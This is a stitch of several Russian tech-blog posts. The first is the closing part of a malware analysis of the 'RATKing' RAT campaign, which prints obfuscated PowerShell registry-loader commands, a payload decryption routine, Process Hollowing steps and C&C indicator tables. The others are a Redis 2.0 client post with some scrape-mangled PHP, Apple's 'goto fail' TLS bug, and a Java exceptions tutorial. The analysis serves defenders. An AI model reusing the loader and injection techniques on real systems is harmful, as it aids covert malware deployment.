* создавала файл `%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\.url`, где — это первые 4 символа параметра `vbsScriptName` (на скриншоте фрагмент кода с этим действием начинается с команды `File.Copy`). Таким образом вредонос добавлял URL-файл в список файлов для автозапуска при входе пользователя в систему и тем самым закреплялся на зараженном компьютере. URL-файл содержал ссылку на скрипт:
```
[InternetShortcut]
URL = file : ///
```
Для понимания того, как осуществлялся инжект, мы расшифровали массивы данных `array` и `array2`. Для этого мы использовали следующую функцию на Python:
```
def decrypt(data, key):
return gzip.decompress(
bytearray([data[i] ^ key[i % len(key)] for i in range(len(data))])[4:])
```
В результате мы выяснили, что:
* `array` представлял собой PE-файл — это и есть конечный пейлоад;
* `array2` представлял собой шелл-код, необходимый для осуществления инжекта.
Шелл-код из массива `array2` передавался в качестве значения функции `lpPrevWndFunc` в функцию `CallWindowProcA`. `lpPrevWndFunc` — функция обратного вызова, ее прототип выглядит так:
```
LRESULT WndFunc(
HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);
```
Таким образом, при запуске функции `CallWindowProcA` с параметрами `hWnd`, `Msg`, `wParam`, `lParam` исполняется шелл-код из массива `array2` с аргументами `hWnd` и `Msg`. `hWnd` — это указатель на строку, содержащую путь к исполняемому файлу `svchost.exe`, а `Msg` — указатель на конечный пейлоад.
Шелл-код получал адреса функций из `kernel32.dll` и `ntdll32.dll` по значениям хешей от их имен и выполнял инжект конечного пейлоада в память процесса `svchost.exe`, используя технику Process Hollowing (подробно о ней можно прочитать в этой [статье](https://github.com/m0n0ph1/Process-Hollowing)). При инжекте шелл-код:
* создавал процесс `svchost.exe` в приостановленном состоянии при помощи функции `CreateProcessW`;
* затем скрывал отображение секции в адресном пространстве процесса `svchost.exe` при помощи функции `NtUnmapViewOfSection`. Таким образом программа освобождала память оригинального процесса `svchost.exe`, чтобы затем по этому адресу выделить память для пейлоада;
* выделял память для пейлоада в адресном пространстве процесса `svchost.exe` при помощи функции `VirtualAllocEx`;
*Начало процесса инжекта*
* записывал содержимое пейлоада в адресное пространство процесса `svchost.exe` при помощи функции `WriteProcessMemory` (как на скриншоте ниже);
* возобновлял процесс `svchost.exe` при помощи функции `ResumeThread`.
*Завершение процесса инжекта*
Загружаемое ВПО
---------------
В результате описанных действий в зараженной системе устанавливалась одна из нескольких вредоносных программ класса RAT. В таблице ниже перечислены использованные в атаке вредоносы, которые мы с уверенностью можем приписать одной группе злоумышленников, поскольку семплы обращались к одному и тому же серверу управления.
| Название ВПО | Впервые замечено | SHA-256 | C&C | Процесс, в который осуществляется инжект |
| --- | --- | --- | --- | --- |
| Darktrack | 16-04-2020 | `ea64fe672c953adc19553ea3b9118ce4ee88a14d92fc7e75aa04972848472702` | kimjoy007.dyndns[.]org:2017 | svchost |
| Parallax | 24-04-2020 | `b4ecd8dbbceaadd482f1b23b712bcddc5464bccaac11fe78ea5fd0ba932a4043` | kimjoy007.dyndns[.]org:2019 | svchost |
| WARZONE | 18-05-2020 | `3786324ce3f8c1ea3784e5389f84234f81828658b22b8a502b7d48866f5aa3d3` | kimjoy007.dyndns[.]org:9933 | svchost |
| Netwire | 20-05-2020 | `6dac218f741b022f5cad3b5ee01dbda80693f7045b42a0c70335d8a729002f2d` | kimjoy007.dyndns[.]org:2000 | svchost |
*Примеры распространяемого ВПО с одним и тем же сервером управления*
Здесь примечательны две вещи.
Во-первых, сам факт, что злоумышленники использовали сразу несколько различных семейств RAT. Такое поведение не характерно для известных кибергруппировок, которые зачастую используют приблизительно одинаковый набор привычных для них инструментов.
Во-вторых, RATKing использовали вредоносы, которые либо продаются на специализированных форумах за небольшую цену, либо и вовсе являются проектами с открытым исходным кодом.
Более полный перечень использованного в кампании ВПО — с одной важной оговоркой — приведен в конце статьи.
О группировке
-------------
Мы не можем отнести описанную вредоносную кампанию к каким-либо известным злоумышленникам. Пока мы считаем, что эти атаки совершила принципиально новая группировка. Как мы уже писали в начале, мы назвали ее RATKing.
Для создания VBS-скрипта группировка, вероятно, использовала инструмент, похожий на утилиту [VBS-Crypter](https://www.youtube.com/watch?v=XUeaRL0cePk) от разработчика [NYAN-x-CAT](https://github.com/NYAN-x-CAT). На это указывает схожесть скрипта, который создает эта программа, со скриптом злоумышленников. В частности, они оба:
* осуществляют отложенное исполнение с помощью функции `Sleep`;
* используют WMI;
* прописывают тело исполняемого файла в качестве параметра ключа реестра;
* исполняют этот файл при помощи PowerShell в его же адресном пространстве.
Для наглядности сравните команду PowerShell для запуска файла из реестра, которую использует скрипт, созданный с помощью VBS-Crypter:
```
((Get-ItemPropertyHKCU:\Software\NYANxCAT\).NYANxCAT);$text=-join$text[-1..-$text.Length];[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String($text)).EntryPoint.Invoke($Null,$Null);
```
с аналогичной командой, которую использовал скрипт злоумышленников:
```
[System.Threading.Thread]::GetDomain().Load((ItemProperty HKCU:\/\/\/Software\/\/\/ ).);
[GUyyvmzVhebFCw]::EhwwK('WScript.ScriptFullName', 'rWZlgEtiZr', 'WScript.ScriptName'),0
```
Заметим, что в качестве одного из пейлоадов злоумышленники использовали другую утилиту от NYAN-x-CAT — [LimeRAT](https://github.com/NYAN-x-CAT/Lime-RAT).
Адреса C&C-серверов указывают на еще одну отличительную черту RATKing: группировка предпочитает сервисы динамического DNS (см. перечень C&C в таблице с IoC).
IoC
---
В таблице ниже приведен полный перечень VBS-скриптов, которые с большой вероятностью можно отнести к описанной кампании. Все эти скрипты похожи и осуществляют примерно одинаковую последовательность действий. Все они инжектят ВПО класса RAT в доверенный процесс Windows. У всех них адреса C&C зарегистрированы с использованием Dynamic DNS-сервисов.
Тем не менее, мы не можем утверждать, что все эти скрипты распространялись одними и теми же злоумышленниками, за исключением семплов с одинаковыми адресами C&C (например, kimjoy007.dyndns.org).
| Название ВПО | SHA-256 | C&C | Процесс, в который осуществляется инжект |
| --- | --- | --- | --- |
| Parallax | `b4ecd8dbbceaadd482f1b23b712bcddc5464bccaac11fe78ea5fd0ba932a4043` | kimjoy007.dyndns.org | svchost |
| `00edb8200dfeee3bdd0086c5e8e07c6056d322df913679a9f22a2b00b836fd72` | hope.doomdns.org | svchost |
| `504cbae901c4b3987aa9ba458a230944cb8bd96bbf778ceb54c773b781346146` | kimjoy007.dyndns.org | svchost |
| `1487017e087b75ad930baa8b017e8388d1e99c75d26b5d1deec8b80e9333f189` | kimjoy007.dyndns.org | svchost |
| `c4160ec3c8ad01539f1c16fb35ed9c8c5a53a8fda8877f0d5e044241ea805891` | franco20.dvrdns.org | svchost |
| `515249d6813bb2dde1723d35ee8eb6eeb8775014ca629ede017c3d83a77634ce` | kimjoy007.dyndns.org | svchost |
| `1b70f6fee760bcfe0c457f0a85ca451ed66e61f0e340d830f382c5d2f7ab803f` | franco20.dvrdns.org | svchost |
| `b2bdffa5853f29c881d7d9bff91b640bc1c90e996f85406be3b36b2500f61aa1` | hope.doomdns.org | svchost |
| `c9745a8f33b3841fe7bfafd21ad4678d46fe6ea6125a8fedfcd2d5aee13f1601` | kimjoy007.dyndns.org | svchost |
| `1dfc66968527fbd4c0df2ea34c577a7ce7a2ba9b54ba00be62120cc88035fa65` | franco20.dvrdns.org | svchost |
| `c6c05f21e16e488eed3001d0d9dd9c49366779559ad77fcd233de15b1773c981` | kimjoy007.dyndns.org | cmd |
| `3b785cdcd69a96902ee62499c25138a70e81f14b6b989a2f81d82239a19a3aed` | hope.doomdns.org | svchost |
| `4d71ceb9d6c53ac356c0f5bdfd1a5b28981061be87e38e077ee3a419e4c476f9` | 2004para.ddns.net | svchost |
| `00185cc085f284ece264e3263c7771073a65783c250c5fd9afc7a85ed94acc77` | hope.doomdns.org | svchost |
| `0342107c0d2a069100e87ef5415e90fd86b1b1b1c975d0eb04ab1489e198fc78` | franco20.dvrdns.org | svchost |
| `de33b7a7b059599dc62337f92ceba644ac7b09f60d06324ecf6177fff06b8d10` | kimjoy007.dyndns.org | svchost |
| `80a8114d63606e225e620c64ad8e28c9996caaa9a9e87dd602c8f920c2197007` | kimjoy007.dyndns.org | svchost |
| `acb157ba5a48631e1f9f269e6282f042666098614b66129224d213e27c1149bb` | hope.doomdns.org | cmd |
| `bf608318018dc10016b438f851aab719ea0abe6afc166c8aea6b04f2320896d3` | franco20.dvrdns.org | svchost |
| `4d0c9b8ad097d35b447d715a815c67ff3d78638b305776cde4d90bfdcb368e38` | hope.doomdns.org | svchost |
| `e7c676f5be41d49296454cd6e4280d89e37f506d84d57b22f0be0d87625568ba` | kimjoy007.dyndns.org | svchost |
| `9375d54fcda9c7d65f861dfda698e25710fda75b5ebfc7a238599f4b0d34205f` | franco20.dvrdns.org | svchost |
| `128367797fdf3c952831c2472f7a308f345ca04aa67b3f82b945cfea2ae11ce5` | kimjoy007.dyndns.org | svchost |
| `09bd720880461cb6e996046c7d6a1c937aa1c99bd19582a562053782600da79d` | hope.doomdns.org | svchost |
| `0a176164d2e1d5e2288881cc2e2d88800801001d03caedd524db365513e11276` | paradickhead.homeip.net | svchost |
| `0af5194950187fd7cbd75b1b39aab6e1e78dae7c216d08512755849c6a0d1cbe` | hope.doomdns.org | svchost |
| Warzone | `3786324ce3f8c1ea3784e5389f84234f81828658b22b8a502b7d48866f5aa3d3` | kimjoy007.dyndns.org | svchost |
| `db0d5a67a0ced6b2de3ee7d7fc845a34b9d6ca608e5fead7f16c9a640fa659eb` | kimjoy007.dyndns.org | svchost |
| Netwire | `6dac218f741b022f5cad3b5ee01dbda80693f7045b42a0c70335d8a729002f2d` | kimjoy007.dyndns.org | svchost |
| Darktrack | `ea64fe672c953adc19553ea3b9118ce4ee88a14d92fc7e75aa04972848472702` | kimjoy007.dyndns.org | svchost |
| WSH RAT | `d410ced15c848825dcf75d30808cde7784e5b208f9a57b0896e828f890faea0e` | anekesolution.linkpc.net | RegAsm |
| Lime
| `896604d27d88c75a475b28e88e54104e66f480bcab89cc75b6cdc6b29f8e438b` | softmy.duckdns.org | RegAsm |
| QuasarRAT | `bd1e29e9d17edbab41c3634649da5c5d20375f055ccf968c022811cd9624be57` | darkhate-23030.portmap.io | RegAsm |
| `12044aa527742282ad5154a4de24e55c9e1fae42ef844ed6f2f890296122153b` | darkhate-23030.portmap.io | RegAsm |
| `be93cc77d864dafd7d8c21317722879b65cfbb3297416bde6ca6edbfd8166572` | darkhate-23030.portmap.io | RegAsm |
| `933a136f8969707a84a61f711018cd21ee891d5793216e063ac961b5d165f6c0` | darkhate-23030.portmap.io | RegAsm |
| `71dea554d93728cce8074dbdb4f63ceb072d4bb644f0718420f780398dafd943` | chrom1.myq-see.com | RegAsm |
| `0d344e8d72d752c06dc6a7f3abf2ff7678925fde872756bf78713027e1e332d5` | darkhate-23030.portmap.io | RegAsm |
| `0ed7f282fd242c3f2de949650c9253373265e9152c034c7df3f5f91769c6a4eb` | darkhate-23030.portmap.io | RegAsm |
| `aabb6759ce408ebfa2cc57702b14adaec933d8e4821abceaef0c1af3263b1bfa` | darkhate-23030.portmap.io | RegAsm |
| `1699a37ddcf4769111daf33b7d313cf376f47e92f6b92b2119bd0c860539f745` | darkhate-23030.portmap.io | RegAsm |
| `3472597945f3bbf84e735a778fd75c57855bb86aca9b0a4d0e4049817b508c8c` | darkhate-23030.portmap.io | RegAsm |
| `809010d8823da84cdbb2c8e6b70be725a6023c381041ebda8b125d1a6a71e9b1` | darkhate-23030.portmap.io | RegAsm |
| `4217a2da69f663f1ab42ebac61978014ec4f562501efb2e040db7ebb223a7dff` | darkhate-23030.portmap.io | RegAsm |
| `08f34b3088af792a95c49bcb9aa016d4660609409663bf1b51f4c331b87bae00` | darkhate-23030.portmap.io | RegAsm |
| `79b4efcce84e9e7a2e85df7b0327406bee0b359ad1445b4f08e390309ea0c90d` | darkhate-23030.portmap.io | RegAsm |
| `12ea7ce04e0177a71a551e6d61e4a7916b1709729b2d3e9daf7b1bdd0785f63a` | darkhate-23030.portmap.io | RegAsm |
| `d7b8eb42ae35e9cc46744f1285557423f24666db1bde92bf7679f0ce7b389af9` | darkhate-23030.portmap.io | RegAsm |
| `def09b0fed3360c457257266cb851fffd8c844bc04a623c210a2efafdf000d5c` | darkhate-23030.portmap.io | RegAsm |
| `50119497c5f919a7e816a37178d28906fb3171b07fc869961ef92601ceca4c1c` | darkhate-23030.portmap.io | RegAsm |
| `ade5a2f25f603bf4502efa800d3cf5d19d1f0d69499b0f2e9ec7c85c6dd49621` | darkhate-23030.portmap.io | RegAsm |
| `189d5813c931889190881ee34749d390e3baa80b2c67b426b10b3666c3cc64b7` | darkhate-23030.portmap.io | RegAsm |
| `c3193dd67650723753289a4aebf97d4c72a1afe73c7135bee91c77bdf1517f21` | darkhate-23030.portmap.io | RegAsm |
| `a6f814f14698141753fc6fb7850ead9af2ebcb0e32ab99236a733ddb03b9eec2` | darkhate-23030.portmap.io | RegAsm |
| `a55116253624641544175a30c956dbd0638b714ff97b9de0e24145720dcfdf74` | darkhate-23030.portmap.io | RegAsm |
| `d6e0f0fb460d9108397850169112bd90a372f66d87b028e522184682a825d213` | darkhate-23030.portmap.io | RegAsm |
| `522ba6a242c35e2bf8303e99f03a85d867496bbb0572226e226af48cc1461a86` | darkhate-23030.portmap.io | RegAsm |
| `fabfdc209b02fe522f81356680db89f8861583da89984c20273904e0cf9f4a02` | darkhate-23030.portmap.io | RegAsm |
| `08ec13b7da6e0d645e4508b19ba616e4cf4e0421aa8e26ac7f69e13dc8796691` | darkhate-23030.portmap.io | RegAsm |
| `8433c75730578f963556ec99fbc8d97fa63a522cef71933f260f385c76a8ee8d` | darkhate-23030.portmap.io | RegAsm |
| `99f6bfd9edb9bf108b11c149dd59346484c7418fc4c455401c15c8ac74b70c74` | darkhate-23030.portmap.io | RegAsm |
| `d13520e48f0ff745e31a1dfd6f15ab56c9faecb51f3d5d3d87f6f2e1abe6b5cf` | darkhate-23030.portmap.io | RegAsm |
| `9e6978b16bd52fcd9c331839545c943adc87e0fbd7b3f947bab22ffdd309f747` | darkhate-23030.portmap.io | RegAsm | | https://habr.com/ru/post/508324/ | null | ru | null |
# Новый Redis 2.0 и Rediska 0.5.0!
[](http://rediska.geometria-lab.net/)Дорогие друзья! На прошлой неделе вышел стабильный релиз чудесной key-value базы [Redis](http://code.google.com/p/redis/) версии 2.0 с внушающим количеством нововведений. Эта новость особенно нас обрадовала, так как мы уже год используем Redis в наших нагруженных проектах и впечатления только положительные. Мы обновили PHP клиент [Rediska](http://rediska.geometria-lab.ru/), добавив поддержку новых возможностей.
#### Основные нововведения Redis 2.0
##### Транзакции (MULTI/EXEC/DISCARD)
Транзакции позволяют вам выполнять серию команд как одну атомарную операцию. Вот социальный пример:
Первый пользователь изъявляет желание дружить со вторым пользователем:1. Мы добавляем ID первого пользователя в множество ([Set](http://rediska.geometria-lab.ru/documentation/usage/working-with-keys/sets) — неупорядоченное множество уникальных элементов) второго пользователя **users:2:requests** в котором храним запросы.
Второй пользователь не против:1. Удаляем из множества **users:2:requests** ID первого пользователя.
2. Добавляем ID первого пользователя в множество **users:2:friends** с друзьями второго пользователя.
3. Добавляем ID второго пользователя в множество **users:1:friends** с друзьями первого, для взаимности.
Если одна из операций не выполнится, или у нас будут конкурентные операции, то коллапса не избежать. Тут нам на помощь приходят транзакции.
```
php
$rediska = new Rediska();
/*
* Первый пользователь изъявляет желание дружить со вторым пользователем
*/
$rediska-addToSet('users:2:requests', 1);
/*
* Второй пользователь не против
*/
$rediska->transaction()->deleteFromSet('users:2:requests', 1)
->addToSet('users:2:friends', 1)
->addToSet('users:1:friends', 2)
->execute();
?>
```
##### Блокирующая операция BLPOP/BRPOP
Атомарные операции **BLPOP** и **BRPOP** получают и удаляют первый или последний элемент из списка ([List](http://rediska.geometria-lab.ru/documentation/usage/working-with-keys/lists) — упорядоченный список элементов). Причем если список пустой, то операции блокируют соединение клиента, пока другой клиент не положит туда элемент.
Например пользователь заливает mp3-трэк Бритни в 320 Kb/s. Нам нужно сконвертировать его в 192 Kb/s. Для этого мы добавляем в очередь задачу на конвертирование. Демон получает задачу из очереди и конвертирует файл. Для реализации очереди замечательно подходят списки.
```
php
$rediska = new Rediska();
// Добавляем файл в начало очереди
$queue = new Rediska_Key_List('queue');
$queue[] = 'britney_spears__and_then_we_kiss.mp3';
// Демон конвертирует файлы
while(true) {
// Получаем файл из конца очереди
// Если очередь пуста, то выполнение скрипта блокируется пока не получим из нее файл
$file = $queue-popBlocking();
convertFile($file);
}
?>
```
##### Publish/Subscribe
Одно из самых замечательных нововведений — реализация парадигмы очереди сообщений [Publish/Subscribe](http://rediska.geometria-lab.ru/documentation/usage/publish-subscribe). Операция **PUBLISH** добавляет сообщение в канал, а не конкретным получателям и ничего о них не знает. Операция **SUBSCRIBE** подписывает на канал или каналы и получает сообщения.
Самый простой пример который приходит в голову — реализация чатов (хотя у Publish/Subscribe есть гораздо более полезные применения).
```
php
$rediska = new Rediska();
// Выводим сообщения общего канала в вечном цикле
// Можно вторым аргументом передать timeout в секундах
foreach($rediska-subscribe('main') as $nickAndMessage) {
list($nick, $message) = $nickAndMessage;
print "$nick: $message";
}
?>
```
```
php
$rediska = new Rediska();
// Вася пишет сообщение в общий канал
$rediska-publish('main', array('Вася', 'Всем чмоки-чмоки в этом чате!'));
?>
```
**Большое спасибо** Юре [octave](https://habrahabr.ru/users/octave/) за инициативу и помощь в реализации!
##### Новый тип ключа Hash
[Хэш](http://rediska.geometria-lab.ru/documentation/usage/working-with-keys/hashes) — это ключ, значение которого по сути ассоциативный массив PHP, но в отличии от хранения в строковом ключе сереализованого массива, предоставляет атомарные операции для работы с полями и их значениями.
В хэшах очень удобно хранить объекты или группировать в них строковые ключи для более эффективного использования.
```
php
$rediska = new Rediska();
class User extends Rediska_Key_Hash
{
public function __construct($id)
{
parent::__construct("users:$id");
}
}
// Создаем нового пользователя
$user = new User(1);
$user-id = 1;
$user['name'] = 'Вася'; // Можно обращаться к полям как к ключам массива
$user->friendsCount = 0;
// Увеличиваем счетчик друзей
$user = new User(1);
$user->increment('friendsCount');
// Получаем данные пользователя
foreach($user as $field => $value) {
print "$field => $value";
}
?>
```
##### Virtual Memory
[Виртуальная память](http://code.google.com/p/redis/wiki/VirtualMemoryUserGuide) помогает хранить в Redis больше данных чем позволяет размер оперативной памяти. Если кратко, то Redis вымещает из оперативной памяти на диск значения ключей к которым вы реже всего обращаетесь.
Виртуальная память эффективна в том случае, если вы используете часто только небольшой процент ключей или если у ключей большие значения.
##### Конфигурация Redis сервера
Новая операция **CONFIG** позволяет читать и изменять конфигурацию Redis сервера.
```
php
$rediska = new Rediska();
// Получаем объект конфига
$config = $rediska-config();
// Получаем параметр
print $config->maxmemory;
// Вы можете обращаться к параметрам как ключам массива
print $config['maxmemory'];
// Устанавливаем параметр
$config->maxmemory = 10000;
// Получаем список параметров по паттерну (glob)
foreach($config['max*'] as $name => $value) {
print "$name => $value\n";
}
// Получаем весь список параметров
foreach($config as $name => $value) {
print "$name => $value\n";
}
?>
```
##### Новые операции для работы со строковыми ключами
```
php
$rediska = new Rediska();
// Создаем ключ с строкой 'value'
$rediska-set('key', 'value');
// Добавляем строку '-shmalue' в конец
$rediska->append('key', '-shmalue');
// Получаем часть строки
print $rediska->substring('key', 6); #=> malue
// "Комбо" операция set + expire
$rediska->setAndExpire('key', 'value', 60 * 5);
?>
```
#### Еще кое-что из новой Редиски
##### Instance manager
В вашем приложении могут быть компоненты (кэш, сессии, ...), которым требуются разные инстансы Редиски с разными опциями (нэймспейс, сервера, ...).
[Класс мэнеджера](http://rediska.geometria-lab.ru/documentation/usage/instance-manager) занимается тем, что хранит в себе эти инстансы и предоставляет методы для их получения, добавления и удаления.
Мэнеджер также может хранить в себе помимо объектов еще и массивы опций Редиски и создавать объекты при первом запросе к ним (lazy-load).
```
php
// Создаем 'default' инстанс
$rediska = new Rediska();
// Получаем 'default' инстанс из мэнеджера
$rediska = Rediska_Manager::get();
print $rediska-getName(); #=> default
// Создаем 'cache' инстанс
$rediska = new Rediska(array('name' => 'cache', 'namespace' => 'Cache_'));
// Получаем 'cache' инстанс из мэнеджера
$rediska = Rediska_Manager::get('cache');
print $rediska->getName(); #=> cache
// Добавляем опции 'sessions' инстанса
Rediska_Manager::add(array('name' => 'sessions', 'namespace' => 'Sessions_'));
// Объект Редиски создается когда он действительно нужен
$rediska = Rediska_Manager::get('sessions');
print $rediska->getName(); #=> sessions
?>
```
##### Новый сериалайзер
В новой версии Редиска [сериализует](http://rediska.geometria-lab.ru/documentation/configuration/serializer) только массивы и объекты, строки и числа сохраняются как есть (проблемы с данными сохраненными предыдущими версиями нету).
С помощью опции **serializerAdapter** вы можете указать метод сереализации:* **phpSerialize** — стандартный сериалайзер PHP (функция [serialize](http://php.net/serialize)). Этот метод используется по умолчанию
* **json** — Без комментариев
* **toString** — Приводит значение к строке **(string)$value**
* Ваш класс который имплементирует интерфейс **Rediska\_Serializer\_Adapter\_Interface**
##### Autoloader
Редиска избавилась от **require\_once** и необходимости добавления пути в **include\_path**.
##### Монитор операций
[Реализована](http://rediska.geometria-lab.ru/documentation/usage/monitor) операция **MONITOR**, позволяющая вам в реальном времени наблюдать операции выполняющиеся на Redis серверах.
```
php
$rediska = new Rediska();
// Получаем объект монитора и устанавливаем таймаут две минуты
$monitor = $rediska-monitor(60 * 2);
// Или к примеру мониторим определенный Redis сервер
$monitor = $rediska->on('server1')->monitor();
// Мониторим операции
foreach($monitor as $timestamp => $command) {
print "$timestamp => $command";
}
?>
```
##### В заключении...
Постараюсь больше не грузить вас, скажу лишь что мы начали переписывать Редиску на C++ в виде PHP экстеншена и будем рады желающим поучаствовать. | https://habr.com/ru/post/103823/ | null | ru | null |
# Адам Лэнгли объяснил причины бага в iOS: лишняя строчка кода поломала всю безопасность
Вчера компания Apple выпустила [обновление безопасности iOS 7.0.6](http://support.apple.com/kb/HT6147) для iPhone 4 и более поздних моделей, iPod touch 5-го поколения и iPad 2+. Одновременно выпущен аналогичный патч 6.1.6 для iPhone 3GS и iPod touch 4-го поколения.
Обновление закрывает уязвимость CVE-2014-1266, которая позволяет злоумышленнику из «привилегированной позиции в сети» перехватывать и модифицировать пакеты в сессиях, **защищённых SSL/TLS**. Речь идёт о MiTM-атаке с подменой трафика.
В лаконичном пояснении Apple говорит, что при установке защищённого соединения по SSL/TLS система не способна определить аутентичность соединения. Проблему решили путём «добавления недостающих этапов валидации».
Хотя по лаконичному описанию не совсем понятно, каких конкретно «этапов» не хватало, но можно говорить об отсутствии полноценной защиты соединений. Так или иначе, но отсутствие необходимых этапов аутентификации означает, что раньше на все устройства Apple третьи лица, вероятно, могли устанавливать поддельные/модифицированные апдейты ОС на смартфоны и планшеты пользователей.
Сегодня известный криптограф Адам Лэнгли опубликовал [статью](https://www.imperialviolet.org/2014/02/22/applebug.html) с анализом бага в iOS. Он обращает внимание на [разницу](https://gist.github.com/alexyakoubian/9151610/revisions) в коде OS X 10.8.5 (Security-55179.13) и 10.9 (Security-55471), где, вероятно, исправлен тот же самый баг.
Собственно, вот он.
```
static OSStatus
SSLVerifySignedServerKeyExchange(SSLContext *ctx, bool isRsa, SSLBuffer signedParams,
uint8_t *signature, UInt16 signatureLen)
{
OSStatus err;
...
if ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0)
goto fail;
if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)
goto fail;
goto fail;
if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)
goto fail;
...
```
fail:
```
SSLFreeBuffer(&signedHashes);
SSLFreeBuffer(&hashCtx);
return err;
}
```
Процитировано с [опубликованных исходников Apple](http://opensource.apple.com/source/Security/Security-55471/libsecurity_ssl/lib/sslKeyExchange.c).
Обратите внимание на две строки `goto fail` подряд. Первая из них корректно связывается с оператором `if`, а вторая вообще не имеет никакого отношения к делу. В результате, выполнение программы всегда завершается на этом этапе, со второго `goto fail`. Значение `err` содержит правильное значение, потому что операция обновления SHA1 была успешной и верификация подписи всегда даёт «добро».
Речь идёт о проверке подписи в сообщении [ServerKeyExchange](https://tools.ietf.org/html/rfc5246#section-7.4.3), что используется в шифрах DHE и ECDHE для передачи одноразового ключа соединения. Сервер говорит: «Вот одноразовый ключ, а вот подпись от моего сертификата, так что ты знаешь, что ключ от меня». В случае с Apple, если связь между одноразовым ключом и сертификатом сломана, то вся система разваливается. Теперь вообще ничего не работает: можно отправить клиенту правильный сертификат, но подписать рукопожатие произвольным секретным ключом, или вообще его не подписывать! Отсутствуют любые доказательства, что сервер, который присылает сертификат, вообще владеет секретным ключом для этого сертификата.
Уязвимость, вероятно, присутствует во всех версиях iOS до 7.0.5 и в OS X до 10.9.1 включительно. | https://habr.com/ru/post/213525/ | null | ru | null |
# Исключения в Java, Часть I (try-catch-finally)
Это первая часть статьи, посвященной такому языковому механизму Java как исключения (вторая [(checked/unchecked) вот](http://habrahabr.ru/company/golovachcourses/blog/225585/)). Она имеет вводный характер и рассчитана на начинающих разработчиков или тех, кто только приступает к изучению языка.
Также я веду курс [«Scala for Java Developers»](https://www.udemy.com/scala-for-java-developers-ru/?couponCode=HABR-EXCEPTIONS-1) на платформе для онлайн-образования udemy.com (аналог Coursera/EdX).
[1. Ключевые слова: try, catch, finally, throw, throws](#1)
[2. Почему используем System.err, а не System.out](#2)
[3. Компилятор требует вернуть результат (или требует молчать)](#3)
[4. Нелокальная передача управления (nonlocal control transfer)](#4)
[5. try + catch (catch — полиморфен)](#5)
[6. try + catch + catch + ...](#6)
[7. try + finally](#7)
[8. try + catch + finally](#8)
[9. Вложенные try + catch + finally](#9)
#### 1. Ключевые слова: try, catch, finally, throw, throws
Механизм исключительных ситуаций в Java поддерживается пятью ключевыми словами
* **try**
* **catch**
* **finally**
* **throw**
* **throws**
«Магия» (т.е. некоторое поведение никак не отраженное в исходном коде и потому неповторяемое пользователем) исключений #1 заключается в том, что catch, throw, throws можно использовать исключительно с java.lang.Throwable или его потомками.
**throws:**
Годится
```
public class App {
public static void main(String[] args) throws Throwable {}
}
```
Не годится
```
public class App {
public static void main(String[] args) throws String {}
}
>> COMPILATION ERROR: Incompatible types: required 'java.lang.Throwable', found: 'java.lang.String'
```
**catch:**
Годится
```
public class App {
public static void main(String[] args) {
try {
} catch (Throwable t) {}
}
}
```
Не годится
```
public class App {
public static void main(String[] args) {
try {
} catch (String s) {}
}
}
>> COMPILATION ERROR: Incompatible types: required 'java.lang.Throwable', found: 'java.lang.String'
```
**throw:**
Годится
```
public class App {
public static void main(String[] args) {
// Error - потомок Throwable
throw new Error();
}
}
```
Не годится
```
public class App {
public static void main(String[] args) {
throw new String("Hello!");
}
}
>> COMPILATION ERROR: Incompatible types: required 'java.lang.Throwable', found: 'java.lang.String'
```
Кроме того, throw требуется не-null аргумент, иначе NullPointerException в момент выполнения
```
public class App {
public static void main(String[] args) {
throw null;
}
}
>> RUNTIME ERROR: Exception in thread "main" java.lang.NullPointerException
```
throw и new — это две независимых операции. В следующем коде мы независимо создаем объект исключения и «бросаем» его
```
public class App {
public static void main(String[] args) {
Error ref = new Error(); // создаем экземпляр
throw ref; // "бросаем" его
}
}
>> RUNTIME ERROR: Exception in thread "main" java.lang.Error
```
Однако, попробуйте проанализировать вот это
```
public class App {
public static void main(String[] args) {
f(null);
}
public static void f(NullPointerException e) {
try {
throw e;
} catch (NullPointerException npe) {
f(npe);
}
}
}
>> RUNTIME ERROR: Exception in thread "main" java.lang.StackOverflowError
```
#### 2. Почему используем System.err, а не System.out
System.out — buffered-поток вывода, а System.err — нет. Таким образом вывод может быть как таким
```
public class App {
public static void main(String[] args) {
System.out.println("sout");
throw new Error();
}
}
>> RUNTIME ERROR: Exception in thread "main" java.lang.Error
>> sout
```
Так и вот таким (err обогнало out при выводе в консоль)
```
public class App {
public static void main(String[] args) {
System.out.println("sout");
throw new Error();
}
}
>> sout
>> RUNTIME ERROR: Exception in thread "main" java.lang.Error
```
Давайте это нарисуем
```
буфер сообщений
+----------------+
+->| msg2 msg1 msg0 | --> out
/ +----------------+ \
/ +-> +--------+
ВАШЕ ПРИЛОЖЕНИЕ | КОНСОЛЬ|
\ +-> +--------+
\ /
+------------------------> err
нет буфера, сразу печатаем
```
когда Вы пишете в System.err — ваше сообщение тут же выводится на консоль, но когда пишете в System.out, то оно может на какое-то время быть буферизированно. Stacktrace необработанного исключение выводится через System.err, что позволяет им обгонять «обычные» сообщения.
#### 3. Компилятор требует вернуть результат (или требует молчать)
Если в объявлении метода сказано, что он возвращает НЕ void, то компилятор зорко следит, что бы мы вернули экземпляр требуемого типа или экземпляр типа, который можно неявно привести к требуемому
```
public class App {
public double sqr(double arg) { // надо double
return arg * arg; // double * double - это double
}
}
```
```
public class App {
public double sqr(double arg) { // надо double
int k = 1; // есть int
return k; // можно неявно преобразовать int в double
}
}
```
```
// на самом деле, компилятор сгенерирует байт-код для следующих исходников
public class App {
public double sqr(double arg) { // надо double
int k = 1; // есть int
return (double) k; // явное преобразование int в double
}
}
```
вот так не пройдет (другой тип)
```
public class App {
public static double sqr(double arg) {
return "hello!";
}
}
>> COMPILATION ERROR: Incompatible types. Required: double. Found: java.lang.String
```
Вот так не выйдет — нет возврата
```
public class App {
public static double sqr(double arg) {
}
}
>> COMPILATION ERROR: Missing return statement
```
и вот так не пройдет (компилятор не может удостовериться, что возврат будет)
```
public class App {
public static double sqr(double arg) {
if (System.currentTimeMillis() % 2 == 0) {
return arg * arg; // если currentTimeMillis() - четное число, то все ОК
}
// а если нечетное, что нам возвращать?
}
}
>> COMPILATION ERROR: Missing return statement
```
Компилятор отслеживает, что бы мы что-то вернули, так как иначе непонятно, что должна была бы напечатать данная программа
```
public class App {
public static void main(String[] args) {
double d = sqr(10.0); // ну, и чему равно d?
System.out.println(d);
}
